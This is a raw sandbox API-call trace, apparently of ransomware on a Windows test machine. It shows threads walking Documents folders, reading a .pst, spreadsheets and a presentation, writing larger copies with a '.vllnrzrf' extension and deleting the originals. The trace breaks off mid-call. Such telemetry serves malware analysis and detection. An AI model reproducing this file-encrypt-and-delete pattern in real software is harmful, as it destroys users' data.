lpFindFileData=0x1d17e070 | out: lpFindFileData=0x1d17e070*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0099.385] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d17e070 | out: lpFindFileData=0x1d17e070*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0099.385] FindClose (in: hFindFile=0x1a578c60 | out: hFindFile=0x1a578c60) returned 1 [0099.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d17e2d0) returned 1 [0099.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d17e290) returned 1 [0099.390] CoUninitialize () Thread: id = 67 os_tid = 0xab0 [0099.395] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0099.396] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1d02dd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", lpFilePart=0x0) returned 0x31 [0099.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d02e1c0) returned 1 [0099.396] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1d02dcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", lpFilePart=0x0) returned 0x31 [0099.396] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\", nBufferLength=0x105, lpBuffer=0x1d02dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\", lpFilePart=0x0) returned 0x32 [0099.396] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*.*", lpFindFileData=0x1d02de60 | out: lpFindFileData=0x1d02de60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0099.396] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d02e0f0) returned 1 [0099.403] CoUninitialize () Thread: id = 68 os_tid = 0xb88 [0099.412] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0099.412] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x1cf2e0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x35 [0099.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf2e520) returned 1 [0099.413] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x1cf2e010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x35 [0099.413] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\", nBufferLength=0x105, lpBuffer=0x1cf2dfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\", lpFilePart=0x0) returned 0x36 [0099.413] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*.*", lpFindFileData=0x1cf2e1c0 | out: lpFindFileData=0x1cf2e1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x8a4af3c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8a4af3c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578c60 [0099.413] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf2e210 | out: lpFindFileData=0x1cf2e210*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x8a4af3c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8a4af3c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.413] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf2e210 | out: lpFindFileData=0x1cf2e210*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x8a4fb680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 1 [0099.414] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf2e210 | out: lpFindFileData=0x1cf2e210*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0099.414] FindClose (in: hFindFile=0x1a578c60 | out: hFindFile=0x1a578c60) returned 1 [0099.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf2e470) returned 1 [0099.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf2e430) returned 1 [0099.415] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", nBufferLength=0x105, lpBuffer=0x1cf2df30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", lpFilePart=0x0) returned 0x4c [0099.415] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", nBufferLength=0x105, lpBuffer=0x1cf2df30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", lpFilePart=0x0) returned 0x4c [0099.415] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", nBufferLength=0x105, lpBuffer=0x1cf2df30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", lpFilePart=0x0) returned 0x4c [0099.415] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf2e410) returned 1 [0099.415] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4f4 [0099.416] GetFileType (hFile=0x4f4) returned 0x1 [0099.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf2e380) returned 1 [0099.416] GetFileType (hFile=0x4f4) returned 0x1 [0099.416] GetFileSize (in: hFile=0x4f4, lpFileSizeHigh=0x1cf2e5a8 | out: lpFileSizeHigh=0x1cf2e5a8*=0x0) returned 0x42400 [0099.417] ReadFile (in: hFile=0x4f4, lpBuffer=0x123bc018, nNumberOfBytesToRead=0x42400, lpNumberOfBytesRead=0x1cf2e4d8, lpOverlapped=0x0 | out: lpBuffer=0x123bc018*, lpNumberOfBytesRead=0x1cf2e4d8*=0x42400, lpOverlapped=0x0) returned 1 [0099.449] CloseHandle (hObject=0x4f4) returned 1 [0099.481] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cf2df30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.vllnrzrf", lpFilePart=0x0) returned 0x55 [0099.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf2e410) returned 1 [0099.481] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4f4 [0099.554] GetFileType (hFile=0x4f4) returned 0x1 [0099.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf2e380) returned 1 [0099.554] GetFileType (hFile=0x4f4) returned 0x1 [0099.554] WriteFile (in: hFile=0x4f4, lpBuffer=0x124c50f8*, nNumberOfBytesToWrite=0x42600, lpNumberOfBytesWritten=0x1cf2e538, lpOverlapped=0x0 | out: lpBuffer=0x124c50f8*, lpNumberOfBytesWritten=0x1cf2e538*=0x42600, lpOverlapped=0x0) returned 1 [0099.561] CloseHandle (hObject=0x4f4) returned 1 [0099.568] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", nBufferLength=0x105, lpBuffer=0x1cf2df30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", lpFilePart=0x0) returned 0x4c [0099.568] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", nBufferLength=0x105, lpBuffer=0x1cf2e0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", lpFilePart=0x0) returned 0x4c [0099.568] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst")) returned 1 [0099.569] CoUninitialize () Thread: id = 69 os_tid = 0xb44 [0099.755] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0099.768] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", nBufferLength=0x105, lpBuffer=0x1c92daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", lpFilePart=0x0) returned 0x31 [0099.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92df00) returned 1 [0099.769] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", nBufferLength=0x105, lpBuffer=0x1c92d9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", lpFilePart=0x0) returned 0x31 [0099.769] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\", nBufferLength=0x105, lpBuffer=0x1c92d990, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\", lpFilePart=0x0) returned 0x32 [0099.769] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\*.*", lpFindFileData=0x1c92dba0 | out: lpFindFileData=0x1c92dba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72e70480, ftCreationTime.dwHighDateTime=0x1d5dbaf, ftLastAccessTime.dwLowDateTime=0xe9a60fa0, ftLastAccessTime.dwHighDateTime=0x1d5dcc5, ftLastWriteTime.dwLowDateTime=0xe9a60fa0, ftLastWriteTime.dwHighDateTime=0x1d5dcc5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578c60 [0099.769] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92dbf0 | out: lpFindFileData=0x1c92dbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72e70480, ftCreationTime.dwHighDateTime=0x1d5dbaf, ftLastAccessTime.dwLowDateTime=0xe9a60fa0, ftLastAccessTime.dwHighDateTime=0x1d5dcc5, ftLastWriteTime.dwLowDateTime=0xe9a60fa0, ftLastWriteTime.dwHighDateTime=0x1d5dcc5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.769] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92dbf0 | out: lpFindFileData=0x1c92dbf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51b346f0, ftCreationTime.dwHighDateTime=0x1d5e39a, ftLastAccessTime.dwLowDateTime=0x8c28fd80, ftLastAccessTime.dwHighDateTime=0x1d5e7ae, ftLastWriteTime.dwLowDateTime=0x8c28fd80, ftLastWriteTime.dwHighDateTime=0x1d5e7ae, nFileSizeHigh=0x0, nFileSizeLow=0x45af, dwReserved0=0x0, dwReserved1=0x0, cFileName="dLdj_uoXZArqedZ5emB.ods", cAlternateFileName="DLDJ_U~1.ODS")) returned 1 [0099.770] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92dbf0 | out: lpFindFileData=0x1c92dbf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cef8050, ftCreationTime.dwHighDateTime=0x1d5e1cb, ftLastAccessTime.dwLowDateTime=0x67af5090, ftLastAccessTime.dwHighDateTime=0x1d5df2e, ftLastWriteTime.dwLowDateTime=0x67af5090, ftLastWriteTime.dwHighDateTime=0x1d5df2e, nFileSizeHigh=0x0, nFileSizeLow=0x106b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="m5K 71hrLjjpRsf Fm2E.pptx", cAlternateFileName="M5K71H~1.PPT")) returned 1 [0099.770] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92dbf0 | out: lpFindFileData=0x1c92dbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c8db800, ftCreationTime.dwHighDateTime=0x1d5d80b, ftLastAccessTime.dwLowDateTime=0xb231ae30, ftLastAccessTime.dwHighDateTime=0x1d5e2a1, ftLastWriteTime.dwLowDateTime=0xb231ae30, ftLastWriteTime.dwHighDateTime=0x1d5e2a1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ObfKAMb7", cAlternateFileName="")) returned 1 [0099.770] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92dbf0 | out: lpFindFileData=0x1c92dbf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf40bb170, ftCreationTime.dwHighDateTime=0x1d5d991, ftLastAccessTime.dwLowDateTime=0x36e2a030, ftLastAccessTime.dwHighDateTime=0x1d5e658, ftLastWriteTime.dwLowDateTime=0x36e2a030, ftLastWriteTime.dwHighDateTime=0x1d5e658, nFileSizeHigh=0x0, nFileSizeLow=0x14ce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="VDYFV7fo3iGrYYNBhN.ods", cAlternateFileName="VDYFV7~1.ODS")) returned 1 [0099.770] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92dbf0 | out: lpFindFileData=0x1c92dbf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x234f8650, ftCreationTime.dwHighDateTime=0x1d5e26b, ftLastAccessTime.dwLowDateTime=0xcca33f50, ftLastAccessTime.dwHighDateTime=0x1d5e615, ftLastWriteTime.dwLowDateTime=0xcca33f50, ftLastWriteTime.dwHighDateTime=0x1d5e615, nFileSizeHigh=0x0, nFileSizeLow=0x153e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="W7-B1o7u.csv", cAlternateFileName="")) returned 1 [0099.770] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92dbf0 | out: lpFindFileData=0x1c92dbf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6407c370, ftCreationTime.dwHighDateTime=0x1d5e13e, ftLastAccessTime.dwLowDateTime=0x34cc7b00, ftLastAccessTime.dwHighDateTime=0x1d5e7c4, ftLastWriteTime.dwLowDateTime=0x34cc7b00, ftLastWriteTime.dwHighDateTime=0x1d5e7c4, nFileSizeHigh=0x0, nFileSizeLow=0xbbd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="_GeWne1isO.pdf", cAlternateFileName="_GEWNE~1.PDF")) returned 1 [0099.770] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92dbf0 | out: lpFindFileData=0x1c92dbf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0099.771] FindClose (in: hFindFile=0x1a578c60 | out: hFindFile=0x1a578c60) returned 1 [0099.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92de50) returned 1 [0099.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92de10) returned 1 [0099.772] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\dLdj_uoXZArqedZ5emB.ods", nBufferLength=0x105, lpBuffer=0x1c92d910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\dLdj_uoXZArqedZ5emB.ods", lpFilePart=0x0) returned 0x49 [0099.772] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\dLdj_uoXZArqedZ5emB.ods", nBufferLength=0x105, lpBuffer=0x1c92d910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\dLdj_uoXZArqedZ5emB.ods", lpFilePart=0x0) returned 0x49 [0099.772] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\dLdj_uoXZArqedZ5emB.ods", nBufferLength=0x105, lpBuffer=0x1c92d910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\dLdj_uoXZArqedZ5emB.ods", lpFilePart=0x0) returned 0x49 [0099.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92ddf0) returned 1 [0099.772] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\dLdj_uoXZArqedZ5emB.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\dldj_uoxzarqedz5emb.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x508 [0099.772] GetFileType (hFile=0x508) returned 0x1 [0099.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92dd60) returned 1 [0099.772] GetFileType (hFile=0x508) returned 0x1 [0099.772] GetFileSize (in: hFile=0x508, lpFileSizeHigh=0x1c92df88 | out: lpFileSizeHigh=0x1c92df88*=0x0) returned 0x45af [0099.772] ReadFile (in: hFile=0x508, lpBuffer=0x22dc5a0, nNumberOfBytesToRead=0x45af, lpNumberOfBytesRead=0x1c92deb8, lpOverlapped=0x0 | out: lpBuffer=0x22dc5a0*, lpNumberOfBytesRead=0x1c92deb8*=0x45af, lpOverlapped=0x0) returned 1 [0099.774] CloseHandle (hObject=0x508) returned 1 [0099.833] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\dLdj_uoXZArqedZ5emB.ods.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c92d910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\dLdj_uoXZArqedZ5emB.ods.vllnrzrf", lpFilePart=0x0) returned 0x52 [0099.833] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92ddf0) returned 1 [0099.833] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\dLdj_uoXZArqedZ5emB.ods.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\dldj_uoxzarqedz5emb.ods.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x508 [0099.834] GetFileType (hFile=0x508) returned 0x1 [0099.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92dd60) returned 1 [0099.834] GetFileType (hFile=0x508) returned 0x1 [0099.834] WriteFile (in: hFile=0x508, lpBuffer=0x2302ed8*, nNumberOfBytesToWrite=0x47af, lpNumberOfBytesWritten=0x1c92df18, lpOverlapped=0x0 | out: lpBuffer=0x2302ed8*, lpNumberOfBytesWritten=0x1c92df18*=0x47af, lpOverlapped=0x0) returned 1 [0099.835] CloseHandle (hObject=0x508) returned 1 [0099.837] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\dLdj_uoXZArqedZ5emB.ods", nBufferLength=0x105, lpBuffer=0x1c92d910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\dLdj_uoXZArqedZ5emB.ods", lpFilePart=0x0) returned 0x49 [0099.837] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\dLdj_uoXZArqedZ5emB.ods", nBufferLength=0x105, lpBuffer=0x1c92dab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\dLdj_uoXZArqedZ5emB.ods", lpFilePart=0x0) returned 0x49 [0099.837] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\dLdj_uoXZArqedZ5emB.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\dldj_uoxzarqedz5emb.ods")) returned 1 [0099.952] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\m5K 71hrLjjpRsf Fm2E.pptx", nBufferLength=0x105, lpBuffer=0x1c92d910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\m5K 71hrLjjpRsf Fm2E.pptx", lpFilePart=0x0) returned 0x4b [0099.952] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\m5K 71hrLjjpRsf Fm2E.pptx", nBufferLength=0x105, lpBuffer=0x1c92d910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\m5K 71hrLjjpRsf Fm2E.pptx", lpFilePart=0x0) returned 0x4b [0099.952] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\m5K 71hrLjjpRsf Fm2E.pptx", nBufferLength=0x105, lpBuffer=0x1c92d910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\m5K 71hrLjjpRsf Fm2E.pptx", lpFilePart=0x0) returned 0x4b [0099.952] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92ddf0) returned 1 [0099.952] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\m5K 71hrLjjpRsf Fm2E.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\m5k 71hrljjprsf fm2e.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x508 [0099.952] GetFileType (hFile=0x508) returned 0x1 [0099.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92dd60) returned 1 [0099.952] GetFileType (hFile=0x508) returned 0x1 [0099.952] GetFileSize (in: hFile=0x508, lpFileSizeHigh=0x1c92df88 | out: lpFileSizeHigh=0x1c92df88*=0x0) returned 0x106b5 [0099.952] ReadFile (in: hFile=0x508, lpBuffer=0x2308350, nNumberOfBytesToRead=0x106b5, lpNumberOfBytesRead=0x1c92deb8, lpOverlapped=0x0 | out: lpBuffer=0x2308350*, lpNumberOfBytesRead=0x1c92deb8*=0x106b5, lpOverlapped=0x0) returned 1 [0099.953] CloseHandle (hObject=0x508) returned 1 [0100.920] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\m5K 71hrLjjpRsf Fm2E.pptx.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c92d910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\m5K 71hrLjjpRsf Fm2E.pptx.vllnrzrf", lpFilePart=0x0) returned 0x54 [0100.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92ddf0) returned 1 [0100.921] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\m5K 71hrLjjpRsf Fm2E.pptx.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\m5k 71hrljjprsf fm2e.pptx.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x508 [0100.922] GetFileType (hFile=0x508) returned 0x1 [0100.922] SetThreadErrorMode (dwNewMode=0x0, 